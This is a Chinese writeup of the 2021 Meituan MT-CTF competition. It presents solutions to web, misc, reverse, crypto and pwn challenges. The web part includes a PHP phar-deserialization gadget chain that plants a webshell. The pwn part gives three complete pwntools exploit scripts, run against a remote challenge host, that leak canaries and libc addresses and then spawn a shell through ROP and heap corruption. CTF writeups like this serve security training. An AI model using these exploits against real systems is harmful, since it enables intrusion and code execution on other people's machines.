

第四届2021美团网络安全 MT-CTF writeup

原创

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Web

UPstorage

需要先xxe读session 找到ip，然后直接phar。

```
$dst_path = 'upload/'.md5("test". $_SERVER['REMOTE_ADDR']);
mkdir($dst_path);
file_put_contents($dst_path. '/index.html', 'Nothing!');

$filename = $_FILES["file"]["name"];
$file = new File();
$basename = $file->get_file_name($filename);

$fileext = $file->get_real_ext($_FILES["file"]["type"]);
var_dump($_FILES["file"]['type'])
$dst_path = $dst_path."/".md5($basename).$fileext;
$filesize = $file->get_file_size($filename);

if (strlen($filename) < 70 && strlen($filename) != 0) {
    echo $dst_path;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst_path);
    $response = array("success" => true, "message" => "File upload success", "filesize" => $filesize);
    Header("Content-type: application/json");
    echo json_encode($response);
} else {
    $response = array("success" => false, "error" => "Invalid filename");
    Header("Content-type: application/json");
    echo json_encode($response);
}
```



```
<?php
abstract class Users {
    public $db;
    abstract public function verify_user($username, $password);
    abstract public function check_user_exist($username);
    abstract public function add_user($username, $password);
    abstract protected function eval();
    public function test() {
        $this->eval();
    }
}
class User extends Users {
    private $func;
    protected $param;
    public function __construct(){
        //call_user_func();
        $this->func = "call_user_func";
        $this->param = [new Logs,"log"];
    }
    protected function eval() {
        if (is_array($this->param)) {
            ($this->func)($this->param);
        } else {
            die("no!");
        }
    }
    public function verify_user($username, $password) {
    }
    public function check_user_exist($username) {
    }
    public function add_user($username, $password) {
```

```
        }
    }

    class Welcome{
        public $username;
        public $password;
        public $verify;
        public $greeting;
        public function __toString(){
            return $this->verify->verify_user($this->username,$this->password);
        }
        public function __wakeup(){
            $this->greeting = "Welcome ".$this->username.":)";
        }
    }

    class File {
        public $filename;
        public $fileext;
        public $basename;
        public function __construct(){
            $this->filename = new User();
        }
        public function check_file_exist($filename) {
            if (file_exists($filename) && !is_dir($filename)) {
                return true;
            } else {
                return false;
            }
        }
        public function __call($func, $params) {
            foreach($params as $param){
                if($this->check_file_exist($param)) {
                    echo "cnm";
                    $this->filename->test();
                }
            }
        }
    }

    class Logs {
        public $log;
        public function log() {
            $log = $_GET['log'];
            if(preg_match("/rot13|base|toupper|encode|decode|convert|bzip2/i", $log)) {
                die("hack!");
            }
            file_put_contents($log,'<?php exit();'.$log);
        }
    }

    $a = new Welcome();
    $a->username = new Welcome();
    $a->username->username = "/etc/hosts";
    $a->username->password = "/etc/hosts";
    $a->username->verify = new File();
    //echo urlencode(serializ($a));
    //unserialize(serializ($a));
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a". "<?php __HALT_COMPILER(); ?>"); //设置stub, 增加gif文件头
    $phar->setMetadata($a); //将定义meta-data存manifest
```

```

$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering()
// file_exists("phar://phar.phar");
//Login.php?Log=php://filter/%6%33convert.iconv.UCS-2LE.UCS-2BE/?<hp
pe@av(l$_EG[Tba]c;) >?/resource=shell.php
?>

```

default_mimetype	text/html	text/html
disable_classes	<i>no value</i>	<i>no value</i>
disable_functions	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
display_errors	Off	Off
display_startup_errors	Off	Off
doc_root	<i>no value</i>	<i>no value</i>
docref_ext	<i>no value</i>	<i>no value</i>

直接system。

Misc

Un(ix)zip

打开发现有很多个目录，对应0-9和a-z。打开发现有的有数字，就把所有的情况都列出来。

1 15 18 26
 3 6
 9 36
 B 29
 C 33
 D 27
 E 21
 F 23
 G 14
 H 4
 J 12 22 34
 L 16 32
 M 2 13 30
 R 31 35
 T 7
 U 20
 V 19 28
 W 10 24
 X 3 8 11 17 25



Z159

ZMXHZ3TXZXJMG1LX1VUEJFWX1DVBMRCLCJR9

得到字符串: ZMXHZ3TXZXJMG1LX1VUEJFWX1DVBMRCLCJR9

前头是zmxhz3, 熟悉base的知道这是base64的flag的头。但是直没爆出来, 猜测是写的问题, 动调写, 最后得到字符串:

ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9

主界面 记事本

输入

ZmxhZ3tXZWxjMG1lX1VuejFwX1dvbmRlcjR9

输出

flag{Welc0me_Unz1p_Wonder4}

ED1安全
CSDN @ED1安全

Reverse

random

种固定导致随机数并不随机, 简单的异或。

```
#coding:utf-8
from ctypes import *
#Lib=cdLL.LoadLibrary('Libc.so.6')
#Lib.srand(0x29)
#num=lib.rand()
#print(hex(num))
key=[0x3E, 0xCD, 0xAA, 0x8E, 0x96, 0x1F, 0x89, 0xCD, 0xDB, 0xF1, 0x70, 0xF2, 0xA9, 0x9C, 0xC2,
0x8B, 0xF2, 0xFE, 0xAD, 0x8B, 0x58, 0x7C, 0x2F, 0x03, 0x4A, 0x65, 0x31, 0x89, 0x76, 0x57, 0x88,
0xDF, 0xB8, 0xE9, 0x01, 0xE9, 0xDE, 0xE5, 0x86, 0x68, 0x8F, 0x24, 0xD3]
random=
[0x58,0xa1,0xcb,0xe9,0xed,0x2c,0xec,0xfb,0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xc6,0x80
,0xbf,0x3e,0x44,0x18,0x2e,0x73,0x56,0x52,0xb8,0x5b,0x66,0xed,0xbc,0x8a,0xd8,0x36,0x8f,0xe6,0xd3
,0xb1,0x51,0xb9,0x59,0xd3,0x5a]
flag=''
for i in range(len(key)):
    flag+=chr(key[i]^random[i])
print(flag)
```

Crypto

hamburgerRSA

```
from Crypto.Util.number import *
n = 177269125756508652546242326065138402971542751124233260338808628688221642344522807381702455
89798474033047460920552550018968571267978283756742722231922451193
c = 4771802260132454339907839595709508375320163133280894940692709158904483755646930080772848403
5581447960954603540348152501053100067139486887367207461593404096
ab=n%10**40
for i in range(19,21):
    for j in range(19,21):
        ab=n%(10**(i+j))
        a=(10**i+1)*(10**j+1)
        b=inverse(a,10**(i+j))
        nn=ab*b%10***(i+j)
        print(nn)
# 841141266295295896742722231922451193
# 77269125756508652526742722231922451193
# 77269125756508652526742722231922451193
# 8670424124883488045156742722231922451193
#n=ab*10^k+s
# 1772691257565... ->p*q=177269125756508652526742722231922451193
p,q=9788542938580474429,18109858317913867117
PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
d=inverse(65537,(PP-1)*(QQ-1))
print(long_to_bytes(pow(c,d,n)))
```

Symbol

打开发现是个图□。之前写毕设的时候，□过□次latex，其中有这样的特殊符号，就去搜了□下，发现□站：
Detexify LaTeX handwritten symbol recognition (kirelabs.org)

\flat
\lambda
\alpha
\gamma
{
\forall
\uplus \biguplus
\nu \mathcal{V}

\Lambda
\alpha
\top
\epsilon
\Xi

\approx
\triangleleft
\hbar

flag{fun_LaTeX_Math} CSDN @EDU安全

可以画图识别，挨个进□识别，最后识别的结果：



要加密的字符串： fun_LaTeX_Math 加密

字符串	fun_LaTeX_Math
16位 小写	3b5e90b237b45e0a
16位 大写	3B5E90B237B45E0A
32位 小写	e1b217dc3b5e90b237b45e0a636e5a86
32位 大写	E1B217DC3B5E90B237B45E0A636E5A86

md5得到flag

Pwn

babyrop

name溢出□个字节泄露出canary,两个等号判断字符串相等是错误□法，输□password字符串指针可以绕过，vuln函数中劫持rbp为bss上stdout+0x20且返回到printf处可以泄露出libc基址，再次进□vuln返回地址填onegadget。

```
#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
#p=process(['./babyrop'],env={"LD_PRELOAD":"./Libc-2.27.so"})
p=remote('47.93.163.42',28881)
elf=ELF('./babyrop')
libc=ELF('./libc-2.27.so')
#gdb.attach(p)
p.sendafter('name?', 'A'*0x19)
p.recvuntil('A'*0x19)
canary=u64(p.recv(7).rjust(8,'\\x00'))
success('canary:' + hex(canary))
p.sendlineafter('input the passwd to unlock this challenge','4196782')
payload ='A'*0x18
payload+=p64(canary)
payload+=p64(0x601030)
payload+=p64(0x400818)
p.sendline(payload)
p.recvuntil('Hello, ')
libc_base=u64(p.recv(6).ljust(8,'\\x00'))-0x3ec760
success('libc_base:' + hex(libc_base))
system=libc_base+libc.sym['system']
onegg=libc_base+0x4f3d5
p.sendline('4196782')
payload ='A'*0x18
payload+=p64(canary)
payload+=p64(0x601030)
payload+=p64(onegg)
p.sendline(payload)
p.interactive()
```

blindbox

由于calloc不会从tcache中取bin，循环add-delete填满tcache，再释放进□unsortedbin中，show可以泄露出libc基址（这□是利□爆破0x7e开始的地址，来绕过限制0x7f的输出），计算出system地址，进□功能6中，rand(0)导致并不真的随机，每次是□样的，跟着跑8次system^rand()即可拿到shell。

```

#coding:utf-8
from pwn import *
from ctypes import *
lib=cdll.LoadLibrary('libc.so.6')
context(arch='amd64',log_level='debug')
#p=process('./Blindbox')
p=remote('47.93.163.42',28890)
elf=ELF('./Blindbox')
libc=elf.libc
def add(idx):
    p.sendlineafter('>>','1')
    p.sendlineafter('>>','1')
    p.sendlineafter('Give index for this Blindbox(1-3):',str(idx))
def delete(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter('Which index do you want to drop?',str(idx))
def edit(idx,content):
    p.sendlineafter('>>','4')
    p.sendlineafter('change?',str(idx))
    p.sendafter('New content:',content)
def show(idx):
    p.sendlineafter('>>','3')
    p.sendlineafter('open?',str(idx))
def wish(content):
    p.sendlineafter('>>','5')
    p.sendlineafter('wish:',content)
def backdoor(system):
    lib.srand(0)
    p.sendlineafter('>>','6')
    for i in range(8):
        num=lib.rand()
        n=system^num
        p.sendlineafter('guess>',str(n))
#gdb.attach(p)
p.sendlineafter('name:','flysheep')
p.sendlineafter('?', '144')
p.sendlineafter('?', '288')
p.sendlineafter('?', '288')
for i in range(7):
    add(1)
    delete(1)
add(1)
add(2)
delete(1)
show(1)
p.recvuntil('Blindbox: ')
libc_base=u64(p.recv(6).ljust(8,'\\x00'))-0x1ebbe0
success('libc_base:' + hex(libc_base))
system=libc_base+libc.sym['system']
backdoor(system)
p.interactive()

```

bookshop

填满tcache后，再释放2个进fastbin,触发malloc_consolidate合并进unsortedbin中，show就泄露libc基址，再利用tcache的stash机制来形成fastbin double free，实现任意地址分配，直接打__free_hook-8，填/bin/sh\00+system即可。

```

#coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
#p=process('./bookshop')
p=remote('47.93.163.42',26927)
elf=ELF('./bookshop')
libc=elf.libc
def add(content):
    p.sendlineafter('>>', '1')
    p.sendafter('>', content)
def show(idx):
    p.sendlineafter('>>', '3')
    p.sendlineafter('?', str(idx))
def delete(idx):
    p.sendlineafter('>>', '2')
    p.sendlineafter('?', str(idx))
#gdb.attach(p)
#Leak libc_base
p.sendlineafter('The lucky number?', str(0x78))#size
for i in range(9):
    add(str(i))#0-8
delete(8)
add('9')#9=8
add('10')#10
add('11')#11
add('12')#12
for i in range(7):
    delete(i)
delete(10)
delete(11)
p.sendlineafter('>>', '1'*0x440)
show(10)
p.recvuntil('Content: ')
libc_base=u64(p.recv(6).ljust(8,'\\x00'))-0x1ebcd0
success('libc_base:' + hex(libc_base))
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
delete(8)
delete(7)
delete(9)
for i in range(7):
    add('0')#13-9
add(p64(free_hook-8))#20
add('18')#21
add('19')#22
add('/bin/sh\x00'+p64(system))#23
delete(23)
p.interactive()

```

重点来了

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